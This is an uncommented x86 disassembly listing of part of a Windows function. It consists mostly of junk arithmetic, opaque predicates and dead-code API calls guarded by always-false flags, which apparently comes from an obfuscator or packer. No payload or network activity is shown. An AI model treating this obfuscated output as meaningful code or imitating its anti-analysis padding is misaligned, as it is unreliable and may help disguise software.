mov dword [ebp - 0x5c8], 0
jmp 0x47233a
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 3
jg 0x4724ba
push 2
lea ecx, [ebp - 0x2a5c]
call fcn.00433638
mov dword [ebp - 0x6cc], 0
jmp 0x47236d
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 2
jge 0x47238f
push dword [ebp - 0x6cc]
lea ecx, [ebp - 0x2a5c]
call fcn.00433726
mov dword [eax], 6
jmp 0x472360
push 0
lea ecx, [ebp - 0x2a5c]
call fcn.00433726
mov dword [eax], 3
jmp 0x4723c8
push 0
lea ecx, [ebp - 0x2a5c]
call fcn.00433726
mov dword [ebp - 0xef8], eax
mov eax, dword [ebp - 0xef8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xef8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x2a5c]
call fcn.00433726
cmp dword [eax], 0
jl 0x472429
push dword [ebp - 0x5c8]
lea ecx, [ebp - 0x2f54]
call fcn.00433726
cmp dword [eax], 0
je 0x4723f2
jmp 0x472429
mov byte [ebp - 0x3f1], 0
movzx eax, byte [ebp - 0x3f1]
test eax, eax
je 0x472424
push 0
push 0x744
push 0
push 0xaea
push 0x230a
push 0
push 0x600
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
jmp 0x4723a4
cmp dword [ebp - 0x568], 0
je 0x472447
cmp dword [ebp - 0x28fc], 0
je 0x472447
mov dword [ebp - 0x1c90], 1
jmp 0x47244e
and dword [ebp - 0x1c90], 0
cmp dword [ebp - 0x1c90], 0
jne 0x472464
xor eax, eax
jne 0x472464
and dword [ebp - 0xf00], 0
jmp 0x47246e
mov dword [ebp - 0xf00], 1
mov eax, dword [ebp - 0x620]
imul eax, dword [ebp - 0xf00]
cmp eax, 0xa31e468a
jb 0x47248e
mov dword [ebp - 0x1c98], 1
jmp 0x472495
and dword [ebp - 0x1c98], 0
push 0
lea ecx, [ebp - 0x2f3c]
call fcn.00433726
mov ecx, dword [ebp - 0x1c98]
mov dword [eax], ecx
lea ecx, [ebp - 0x2a5c]
call fcn.0043370a
jmp 0x47232d
jmp 0x4722fd
jmp 0x4722cd
mov byte [ebp - 0x43f], 0
movzx eax, byte [ebp - 0x43f]
test eax, eax
je 0x4724ef
push 0
push 0xa98
push 0x2c8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
lea ecx, [ebp - 0x2f3c]
call fcn.0043370a
jmp 0x472255
jmp 0x4721f0
lea ecx, [ebp - 0x2f54]
call fcn.0043370a
mov dword [ebp - 0x4cc], 0x76820624
mov dword [ebp - 0xf18], 0x90e69cd1
mov dword [ebp - 0x328], 0
push 3
lea ecx, [ebp - 0x2f6c]
call fcn.00433638
mov dword [ebp - 0x934], 0
jmp 0x472553
mov eax, dword [ebp - 0x934]
inc eax
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 3
jge 0x472575
push dword [ebp - 0x934]
lea ecx, [ebp - 0x2f6c]
call fcn.00433726
mov dword [eax], 0xa6d983a5
jmp 0x472546
mov dword [ebp - 0x4cc], 0xfffffffd
jmp 0x47258e
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 3
jg 0x4728d5
mov dword [ebp - 0x29c], 0xfffffff7
mov dword [ebp - 0x29c], 0x1b
jmp 0x4725be
mov eax, dword [ebp - 0x29c]
dec eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 5
jne 0x4728d0
mov dword [ebp - 0x24a4], 0x8067
mov dword [ebp - 0x24a0], 0x8067
mov dword [ebp - 0x249c], 0x8067
mov dword [ebp - 0x2498], 0x8067
mov dword [ebp - 0x1cc0], 0xfffffffa
mov dword [ebp - 0x290c], 4
mov dword [ebp - 0x6d4], 0
jmp 0x472620
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 1
jge 0x47263c
mov eax, dword [ebp - 0x6d4]
mov dword [ebp + eax*4 - 0x274], 0
jmp 0x472613
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x274], 0
jmp 0x47266a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x274]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x274], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x274], 3
jg 0x4728cb
mov dword [ebp - 0x2ac], 0xfffffffd
mov dword [ebp - 0x2ac], 0
jmp 0x4726a1
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 3
jg 0x4726c9
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp + eax*4 - 0x24a4], 0
je 0x4726bc
jmp 0x4726c9
cmp dword [ebp - 0x29c], 0
je 0x4726c7
jmp 0x472694
jmp 0x472694
cmp dword [ebp - 0x29c], 0
je 0x472797
mov eax, dword [ebp - 0xf18]
cmp dword [ebp - 0x4cc], eax
jne 0x4726f0
mov dword [ebp - 0xf08], 1
jmp 0x4726f7
and dword [ebp - 0xf08], 0
mov eax, dword [ebp - 0x2ac]
cmp dword [ebp - 0xf08], eax
jne 0x472711
mov dword [ebp - 0x1ca0], 1
jmp 0x472718
and dword [ebp - 0x1ca0], 0
mov eax, dword [ebp - 0x1ca0]
dec eax
cmp eax, 0xa644
je 0x472732
mov dword [ebp - 0xf10], 1
jmp 0x472739
and dword [ebp - 0xf10], 0
mov eax, dword [ebp - 0xf10]
mov dword [ebp - 0x328], eax
mov eax, dword [ebp - 0x328]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x24a4]
cmp eax, 0x1181
jge 0x47276a
mov dword [ebp - 0x1ca8], 1
jmp 0x472771
and dword [ebp - 0x1ca8], 0
mov eax, dword [ebp - 0x1ca8]
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x2ac]
add eax, dword [ebp - 0xf18]
je 0x472797
mov dword [ebp - 0x1cb0], 1
jmp 0x47279e
and dword [ebp - 0x1cb0], 0
cmp dword [ebp - 0x1cb0], 0x243a
jl 0x4727b1
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x4727d4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x274]
cmp dword [ebp + eax*4 - 0x24a4], 0
je 0x4727d4
mov dword [ebp - 0xf20], 1
jmp 0x4727db
and dword [ebp - 0xf20], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24a4]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x274]
mov edx, dword [ebp - 0xf20]
sub edx, dword [ebp + ecx*4 - 0x24a4]
add edx, 0x356e
imul eax, edx
sub eax, 0x1d95da57
imul eax, eax, 0xbfb4
cmp eax, 0xfffffffd
jl 0x47282d
cmp dword [ebp - 0x4cc], 0
jne 0x47282d
and dword [ebp - 0x1cb8], 0
jmp 0x472837
mov dword [ebp - 0x1cb8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x274]
mov eax, dword [ebp + eax*4 - 0x24a4]
sub eax, dword [ebp - 0x1cb8]
je 0x472868
mov eax, 0x6de1f171
test eax, eax
je 0x472868
mov dword [ebp - 0xf28], 1
jmp 0x47286f
and dword [ebp - 0xf28], 0
mov eax, dword [ebp - 0xf28]
mov dword [ebp - 0x1cc0], eax
imul eax, dword [ebp - 0x1cc0], 0x4628
cmp eax, dword [ebp - 0x29c]
jle 0x472899
mov dword [ebp - 0x2904], 1
jmp 0x4728a0
and dword [ebp - 0x2904], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x274]
mov eax, dword [ebp + eax*4 - 0x24a4]
mov dword [ebp - 0x399c], eax
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x290c], eax
jmp 0x47264f
jmp 0x4725b1
jmp 0x472581
mov dword [ebp - 0x328], 0
jmp 0x4728ee
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 3
jge 0x472910
push dword [ebp - 0x328]
lea ecx, [ebp - 0x2f6c]
call fcn.00433726
mov dword [eax], 0x8a064f57
jmp 0x4728e1
lea ecx, [ebp - 0x2f6c]
call fcn.0043370a
mov byte [ebp - 0x2c2], 0
push 3
lea ecx, [ebp - 0x366c]
call fcn.00433638
mov dword [ebp - 0x154], 0
jmp 0x472948
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
jge 0x47296a
push dword [ebp - 0x154]
lea ecx, [ebp - 0x366c]
call fcn.00433726
mov dword [eax], 0xbbca6318
jmp 0x47293b
mov dword [ebp - 0x154], 0
jmp 0x472983
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x47299f
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x25a8], 0x39beb064
jmp 0x472976
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x25a8], 0
jmp 0x4729cd
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x25a8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x25a8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x25a8], 2
jg 0x472aae
mov dword [ebp - 0x86c], 0
jmp 0x4729fa
mov eax, dword [ebp - 0x86c]
inc eax
mov dword [ebp - 0x86c], eax
cmp dword [ebp - 0x86c], 3
jge 0x472a16
mov eax, dword [ebp - 0x86c]
mov dword [ebp + eax*4 - 0x2d78], 0xffffffff
jmp 0x4729ed
mov byte [ebp - 0x3f9], 0
movzx eax, byte [ebp - 0x3f9]
test eax, eax
je 0x472a48
push 0
push 0xe5b
push 0xa91
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2d78], 2
jmp 0x472a76
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2d78]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2d78], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2d78], 0
jl 0x472aa9
mov byte [ebp - 0x441], 0
movzx eax, byte [ebp - 0x441]
test eax, eax
je 0x472aa7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
jmp 0x472a5b
jmp 0x4729b2
lea ecx, [ebp - 0x366c]
call fcn.0043370a
movzx eax, byte [ebp - 0x2c2]
test eax, eax
je 0x472acc
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
jmp 0x47213d
jmp 0x47135f
mov dword [ebp - 0x108], 0xfffffff8
push 3
lea ecx, [ebp - 0x2d54]
call fcn.00433638
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x570], 4
mov dword [ebp - 0xa94], 0xb2dd2c99
mov dword [ebp - 0xf48], 0
mov dword [ebp - 0x5d0], 0xfffffffe
mov dword [ebp - 0xf50], 0xfffffffc
mov dword [ebp - 0x2914], 1
mov dword [ebp - 0xf60], 0x8fb828c2
mov dword [ebp - 0x291c], 0
mov dword [ebp - 0x1d10], 0xfffffff8
mov dword [ebp - 0x292c], 0
mov dword [ebp - 0x230], 0
jmp 0x472b74
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 3
jge 0x472b96
push dword [ebp - 0x230]
lea ecx, [ebp - 0x2d54]
call fcn.00433726
mov dword [eax], 0x21e1d82c
jmp 0x472b67
mov dword [ebp - 0x230], 0
jmp 0x472baf
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 3
jge 0x472bcb
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0x367c], 0x66da9a16
jmp 0x472ba2
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x3508], eax
mov esi, dword [ebp - 0x108]
push 1
lea ecx, [ebp - 0x2d54]
call fcn.00433726
mov dword [eax], esi
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x37b8], eax
mov eax, dword [ebp - 0x570]
mov ecx, dword [ebp - 0x570]
dec ecx
mov dword [ebp - 0x570], ecx
test eax, eax
jne 0x472d43
mov eax, dword [ebp - 0x108]
sub eax, dword [ebp - 0x108]
cmp eax, 0x95c3c62e
jbe 0x472c32
mov dword [ebp - 0xf30], 1
jmp 0x472c39
and dword [ebp - 0xf30], 0
mov eax, dword [ebp - 0x46c]
cmp dword [ebp - 0xf30], eax
jl 0x472c53
mov dword [ebp - 0x6dc], 1
jmp 0x472c5a
and dword [ebp - 0x6dc], 0
push 1
lea ecx, [ebp - 0x2d54]
call fcn.00433726
mov ecx, dword [ebp - 0x6dc]
mov dword [eax], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x6dc]
mov dword [ebp + eax - 0x367c], ecx
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x6dc], eax
jge 0x472ca4
cmp dword [ebp - 0x46c], 0
je 0x472ca4
mov dword [ebp - 0x1cc8], 1
jmp 0x472cab
and dword [ebp - 0x1cc8], 0
mov eax, dword [ebp - 0x570]
cmp dword [ebp - 0x1cc8], eax
jl 0x472cc5
mov dword [ebp - 0xf38], 1
jmp 0x472ccc
and dword [ebp - 0xf38], 0
mov eax, dword [ebp - 0xf38]
mov dword [ebp - 0xa94], eax
cmp dword [ebp - 0xa94], 0
jne 0x472cf9
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x367c], 0
jne 0x472cf9
and dword [ebp - 0x1cd0], 0
jmp 0x472d03
mov dword [ebp - 0x1cd0], 1
mov eax, dword [ebp - 0x1cd0]
inc eax
jne 0x472d1e
cmp dword [ebp - 0xa94], 0
jne 0x472d1e
and dword [ebp - 0xf40], 0
jmp 0x472d28
mov dword [ebp - 0xf40], 1
cmp dword [ebp - 0xf40], 7
jl 0x472d43
cmp dword [ebp - 0x570], 0
jne 0x472d43
and dword [ebp - 0x1cd8], 0
jmp 0x472d4d
mov dword [ebp - 0x1cd8], 1
mov eax, dword [ebp - 0x1cd8]
mov dword [ebp - 0xf48], eax
cmp dword [ebp - 0xf48], 0x1edbcc77
jle 0x472d71
mov dword [ebp - 0x1ce0], 1
jmp 0x472d78
and dword [ebp - 0x1ce0], 0
mov eax, dword [ebp - 0x5d0]
mov ecx, dword [ebp - 0x1ce0]
lea eax, [ecx + eax + 7]
mov dword [ebp - 0xf50], eax
cmp dword [ebp - 0xf50], 0
jne 0x472da9
cmp dword [ebp - 0x46c], 0
jne 0x472da9
and dword [ebp - 0x1ce8], 0
jmp 0x472db3
mov dword [ebp - 0x1ce8], 1
cmp dword [ebp - 0x1ce8], 0xfffffff9
jbe 0x472dc8
mov dword [ebp - 0xf58], 1
jmp 0x472dcf
and dword [ebp - 0xf58], 0
mov eax, dword [ebp - 0xf58]
sub eax, dword [ebp - 0x5d0]
imul eax, dword [ebp - 0x46c]
inc eax
inc eax
imul eax, dword [ebp - 0x46c]
mov dword [ebp - 0x2914], eax
mov eax, dword [ebp - 0x5d0]
cmp dword [ebp - 0x108], eax
jg 0x472e0b
mov dword [ebp - 0x1cf0], 1
jmp 0x472e12
and dword [ebp - 0x1cf0], 0
imul eax, dword [ebp - 0x1cf0], 0x46a2
mov dword [ebp - 0xf60], eax
mov eax, dword [ebp - 0x5d0]
cmp dword [ebp - 0xf60], eax
jl 0x472e3c
mov dword [ebp - 0x1cf8], 1
jmp 0x472e43
and dword [ebp - 0x1cf8], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x1cf8], eax
je 0x472e5d
mov dword [ebp - 0xf68], 1
jmp 0x472e64
and dword [ebp - 0xf68], 0
cmp dword [ebp - 0xf68], 0xb8cd
jne 0x472e7c
mov dword [ebp - 0x1d00], 1
jmp 0x472e83
and dword [ebp - 0x1d00], 0
mov eax, dword [ebp - 0x5d0]
cmp dword [ebp - 0x1d00], eax
je 0x472e9d
mov dword [ebp - 0xf70], 1
jmp 0x472ea4
and dword [ebp - 0xf70], 0
cmp dword [ebp - 0xf70], 0xfffffffa
jg 0x472eb9
mov dword [ebp - 0x1d08], 1
jmp 0x472ec0
and dword [ebp - 0x1d08], 0
mov eax, dword [ebp - 0x108]
imul eax, dword [ebp - 0x1d08]
imul eax, dword [ebp - 0x291c]
cmp eax, dword [ebp - 0x46c]
jne 0x472ee8
mov dword [ebp - 0xf78], 1
jmp 0x472eef
and dword [ebp - 0xf78], 0
mov eax, dword [ebp - 0xf78]
mov dword [ebp - 0x1d10], eax
cmp dword [ebp - 0x1d10], 0xffffffff
jle 0x472f10
mov dword [ebp - 0x2924], 1
jmp 0x472f17
and dword [ebp - 0x2924], 0
mov eax, dword [ebp - 0x108]
add eax, 0x5214f334
mov dword [ebp - 0x292c], eax
lea ecx, [ebp - 0x2d54]
call fcn.0043370a
cmp dword [ebp + 8], 2
jl 0x482d10
mov dword [ebp - 0xe8], 0x64a6847d
mov dword [ebp - 0xf0], 0x27d2703d
push 2
lea ecx, [ebp - 0x2f9c]
call fcn.00433638
mov dword [ebp - 0x1d40], 0
mov dword [ebp - 0x15c], 0
jmp 0x472f81
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jge 0x472f9d
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x3510], 0xffffffff
jmp 0x472f74
mov dword [ebp - 0x15c], 0
jmp 0x472fb6
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jge 0x472fd8
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x2f9c]
call fcn.00433726
mov dword [eax], 1
jmp 0x472fa9
mov dword [ebp - 0xe8], 0
jmp 0x472ff1
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0xfffffff4
jle 0x4733b1
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfb8], 0x4f8d
mov dword [ebp - 0x293c], 0xb34174aa
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jne 0x47310f
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x100], eax
jle 0x47304f
mov dword [ebp - 0xf80], 1
jmp 0x473056
and dword [ebp - 0xf80], 0
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xe8]
imul ecx, dword [ebp - 0xf80]
sub eax, ecx
jne 0x47307f
cmp dword [ebp - 0xe8], 0
jne 0x47307f
and dword [ebp - 0x1d18], 0
jmp 0x473089
mov dword [ebp - 0x1d18], 1
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x1d18], eax
jge 0x4730a3
mov dword [ebp - 0xf88], 1
jmp 0x4730aa
and dword [ebp - 0xf88], 0
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0xf88]
jl 0x4730c4
mov dword [ebp - 0x1d20], 1
jmp 0x4730cb
and dword [ebp - 0x1d20], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x1d20], eax
jge 0x4730e5
mov dword [ebp - 0xf90], 1
jmp 0x4730ec
and dword [ebp - 0xf90], 0
mov eax, dword [ebp - 0xf90]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0xf0], eax
je 0x47310f
and dword [ebp - 0x1d28], 0
jmp 0x473119
mov dword [ebp - 0x1d28], 1
mov eax, dword [ebp - 0x100]
imul eax, dword [ebp - 0x1d28]
test eax, eax
jne 0x47313c
cmp dword [ebp - 0xe8], 0
jne 0x47313c
and dword [ebp - 0xf98], 0
jmp 0x473146
mov dword [ebp - 0xf98], 1
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0xf98], eax
jle 0x4733a2
mov dword [ebp - 0xbe8], 0xfffffff7
cmp dword [ebp - 0x100], 0
je 0x473170
jmp 0x4733b1
mov dword [ebp - 0x100], 0
jmp 0x473189
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jg 0x4733a0
push 2
lea ecx, [ebp - 0x2f84]
call fcn.00433638
mov dword [ebp - 0x1d38], 0x85024d8f
mov dword [ebp - 0x99c], 0
jmp 0x4731c6
mov eax, dword [ebp - 0x99c]
inc eax
mov dword [ebp - 0x99c], eax
cmp dword [ebp - 0x99c], 2
jge 0x4731e8
push dword [ebp - 0x99c]
lea ecx, [ebp - 0x2f84]
call fcn.00433726
mov dword [eax], 0x15b0
jmp 0x4731b9
mov dword [ebp - 0xf0], 0
jmp 0x473201
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jg 0x473390
mov dword [ebp - 0x27c], 0xa1434a9
mov dword [ebp - 0x2934], 0xefbe72f2
mov dword [ebp - 0x27c], 0
jmp 0x47323b
mov eax, dword [ebp - 0x27c]
dec eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0
jl 0x47338b
mov dword [ebp - 0x1d30], 0x885c
mov dword [ebp - 0xfa8], 0xfffffff7
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0x1d30], eax
cmp dword [ebp - 0xfb8], 0
je 0x47331a
cmp dword [ebp - 0x1d30], 0xfffffff8
jb 0x47328a
mov dword [ebp - 0xfa0], 1
jmp 0x473291
and dword [ebp - 0xfa0], 0
mov eax, dword [ebp - 0xfa0]
mov dword [ebp - 0x1d38], eax
mov esi, dword [ebp - 0x1d38]
push 1
lea ecx, [ebp - 0x2f9c]
call fcn.00433726
mov dword [eax], esi
mov eax, dword [ebp - 0x27c]
mov dword [ebp - 0xfa8], eax
mov eax, dword [ebp - 0xfa8]
mov dword [ebp - 0x1d40], eax
cmp dword [ebp - 0x1d40], 0
je 0x4732e8
mov eax, 0x7c52
test eax, eax
je 0x4732e8
mov dword [ebp - 0xfb0], 1
jmp 0x4732ef
and dword [ebp - 0xfb0], 0
mov eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0xfb0]
lea eax, [ecx + eax - 8]
mov dword [ebp - 0xbe8], eax
cmp dword [ebp - 0xbe8], 1
jne 0x47331a
mov dword [ebp - 0x1d48], 1
jmp 0x473321
and dword [ebp - 0x1d48], 0
mov eax, dword [ebp - 0x27c]
imul eax, dword [ebp - 0x1d48]
add eax, 0x31b57c7
jns 0x47334a
cmp dword [ebp - 0xfb8], 0
je 0x47334a
mov dword [ebp - 0x1d50], 1
jmp 0x473351
and dword [ebp - 0x1d50], 0
push 0
lea ecx, [ebp - 0x2f84]
call fcn.00433726
mov eax, dword [ebp - 0xbe8]
mov dword [ebp - 0x2934], eax
mov byte [ebp - 0x2c4], 0
movzx eax, byte [ebp - 0x2c4]
test eax, eax
je 0x473386
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
jmp 0x47322e
jmp 0x4731f4
lea ecx, [ebp - 0x2f84]
call fcn.0043370a
jmp 0x47317c
jmp 0x4733ac
mov dword [ebp - 0x293c], 0
jmp 0x472fe4
lea ecx, [ebp - 0x2f9c]
call fcn.0043370a
mov dword [ebp - 0x474], 0xfffffff8
mov dword [ebp - 0x528], 0x188753e
mov dword [ebp - 0x294c], 8
mov dword [ebp - 0x295c], 1
mov dword [ebp - 0x6e4], 0
jmp 0x4733fd
mov eax, dword [ebp - 0x6e4]
inc eax
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 3
jge 0x473419
mov eax, dword [ebp - 0x6e4]
mov dword [ebp + eax*4 - 0x25e4], 0xffffffff
jmp 0x4733f0
mov dword [ebp - 0x474], 0
jmp 0x473432
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 2
jg 0x473664
mov dword [ebp - 0xb4], 0x29bf390
mov dword [ebp - 0x2944], 0x17d72b90
mov dword [ebp - 0xb4], 2
jmp 0x47346c
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jl 0x473639
mov dword [ebp - 0x874], 0
jmp 0x473492
mov eax, dword [ebp - 0x874]
inc eax
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x874], 1
jge 0x4734ae
mov eax, dword [ebp - 0x874]
mov dword [ebp + eax*4 - 0x2954], 1
jmp 0x473485
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 0x528]
cmp dword [ebp - 0xb4], eax
jne 0x4734d4
mov dword [ebp - 0xfc0], 1
jmp 0x4734db
and dword [ebp - 0xfc0], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x25e4]
cmp eax, dword [ebp - 0xfc0]
je 0x4734fc
mov dword [ebp - 0x1d58], 1
jmp 0x473503
and dword [ebp - 0x1d58], 0
mov eax, dword [ebp - 0x1d58]
neg eax
mov dword [ebp - 0x2944], eax
mov eax, dword [ebp - 0xb4]
cmp dword [ebp + eax*4 - 0x25e4], 0x6dd2cc91
jl 0x473530
mov dword [ebp - 0xfc8], 1
jmp 0x473537
and dword [ebp - 0xfc8], 0
cmp dword [ebp - 0xfc8], 0xffff
jbe 0x47354f
mov dword [ebp - 0x1d60], 1
jmp 0x473556
and dword [ebp - 0x1d60], 0
mov eax, dword [ebp - 0x294c]
cmp dword [ebp - 0x1d60], eax
jg 0x473580
mov eax, dword [ebp - 0xb4]
cmp dword [ebp + eax*4 - 0x25e4], 0
je 0x473580
mov dword [ebp - 0xfd0], 1
jmp 0x473587
and dword [ebp - 0xfd0], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x25e4]
cmp eax, dword [ebp - 0xfd0]
jle 0x4735a8
mov dword [ebp - 0x1d68], 1
jmp 0x4735af
and dword [ebp - 0x1d68], 0
cmp dword [ebp - 0x1d68], 0xa6d
jl 0x4735c7
mov dword [ebp - 0xfd8], 1
jmp 0x4735ce
and dword [ebp - 0xfd8], 0
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp + eax*4 - 0x25e4]
cmp dword [ebp - 0xfd8], eax
je 0x4735ef
mov dword [ebp - 0xa9c], 1
jmp 0x4735f6
and dword [ebp - 0xa9c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa9c]
mov dword [ebp + eax - 0x2954], ecx
cmp dword [ebp - 0xa9c], 0xaf9d66de
ja 0x473621
mov dword [ebp - 0x1d70], 1
jmp 0x473628
and dword [ebp - 0x1d70], 0
mov eax, dword [ebp - 0x1d70]
mov dword [ebp - 0x295c], eax
jmp 0x47345f
mov byte [ebp - 0x2c6], 0
movzx eax, byte [ebp - 0x2c6]
test eax, eax
je 0x47365f
push 0
push 0x1ab3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
jmp 0x473425
mov dword [ebp - 0x528], 0xfffffff2
jmp 0x47367d
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0xd
jg 0x4736ff
mov dword [ebp - 0xfe0], 0xfffffff8
mov dword [ebp - 0xbbc], 0xffffffff
mov eax, dword [ebp - 0xfe0]
mov dword [ebp - 0xbbc], eax
mov eax, dword [ebp - 0xbbc]
mov dword [ebp - 0x474], eax
push 4
pop eax
shl eax, 1
push 0xfffffffffffffffb
pop ecx
sub ecx, dword [ebp - 0xfe0]
cmp dword [ebp + eax - 0x25e4], ecx
jle 0x4736e4
cmp dword [ebp - 0xbbc], 0
jne 0x4736e4
mov eax, 0x68dd2ac3
test eax, eax
jne 0x4736e4
and dword [ebp - 0x1d78], 0
jmp 0x4736ee
mov dword [ebp - 0x1d78], 1
mov eax, dword [ebp - 0x1d78]
mov dword [ebp - 0x474], eax
jmp 0x473670
push 1
lea ecx, [ebp - 0xa18]
call fcn.00433638
mov dword [ebp - 0x4d4], 0xb7c7ce53
mov dword [ebp - 0x6ec], 0
jmp 0x47372f
mov eax, dword [ebp - 0x6ec]
inc eax
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 3
jge 0x47374b
mov eax, dword [ebp - 0x6ec]
mov dword [ebp + eax*4 - 0x368c], 0xfffffff7
jmp 0x473722
mov dword [ebp - 0x4d4], 0
jmp 0x473764
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 2
jg 0x4737ac
mov eax, dword [ebp - 0x4d4]
mov ecx, dword [ebp - 0x4d4]
mov eax, dword [ebp + eax*4 - 0x368c]
mov dword [ebp + ecx*4 - 0x368c], eax
mov byte [ebp - 0x2c8], 0
movzx eax, byte [ebp - 0x2c8]
test eax, eax
je 0x4737aa
push 0
push 1
push 0x2287
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
jmp 0x473757
mov byte [ebp - 0x2ca], 0
movzx eax, byte [ebp - 0x2ca]
test eax, eax
je 0x4737c8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x714], 0xfffffff6
push 1
